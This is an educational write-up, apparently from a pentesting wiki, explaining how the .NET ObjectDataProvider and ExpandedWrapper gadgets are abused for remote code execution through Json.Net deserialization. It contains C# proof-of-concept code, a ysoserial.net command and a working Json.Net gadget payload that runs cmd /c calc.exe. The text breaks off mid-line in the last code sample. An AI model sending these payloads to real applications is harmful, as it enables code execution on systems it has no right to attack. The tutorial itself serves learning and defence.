# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
## ObjectDataProvider Gadget
From the documentation: *the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source*. Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use ***MethodParameters*** to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters. Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
### **How is this possible**
The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (*C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF*).
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls** **`this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
If you want to check that just setting the ***MethodName*** **it will be executed**, you can run this code:
```
using System.Windows.Data;using System.Diagnostics;namespace ODPCustomSerialExample{ class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } }}
```
Note that you need to add as reference *C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll* in order to load `System.Windows.Data`
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an ***ObjectDataProvider*** **instance** (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the *ObjectDataProvider* instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (*ObjectDataProvider*) into a new object type and provide the properties we need (*ObjectDataProvider.MethodName* and *ObjectDataProvider.MethodParameters*). This is very useful for cases as the one presented before, because we will be able to **wrap** ***ObjectDataProvider*** **inside an** ***ExpandedWrapper*** instance and **when deserialized** this class will **create** the ***OjectDataProvider*** object that will **execute** the **function** indicated in ***MethodName***.
You can check this wrapper with the following code:
```
using System.Windows.Data;using System.Diagnostics;using System.Data.Services.Internal;namespace ODPCustomSerialExample{ class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } }}
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
### Json.Net example
First of all lets see an example on how to **serialize/deserialize** an object using this library:
```
using System;using Newtonsoft.Json;using System.Diagnostics;using System.Collections.Generic;namespace DeserializationTests{ public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } }}
```
### Abusing Json.Net
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
```
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}}
```
In this code you can **test the exploit**, just run it and you will see that a calc is executed:
```
using System;using System.Text;using Newtonsoft.Json;namespace DeserializationTests{ class Program { static void Main(string[] args) { string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject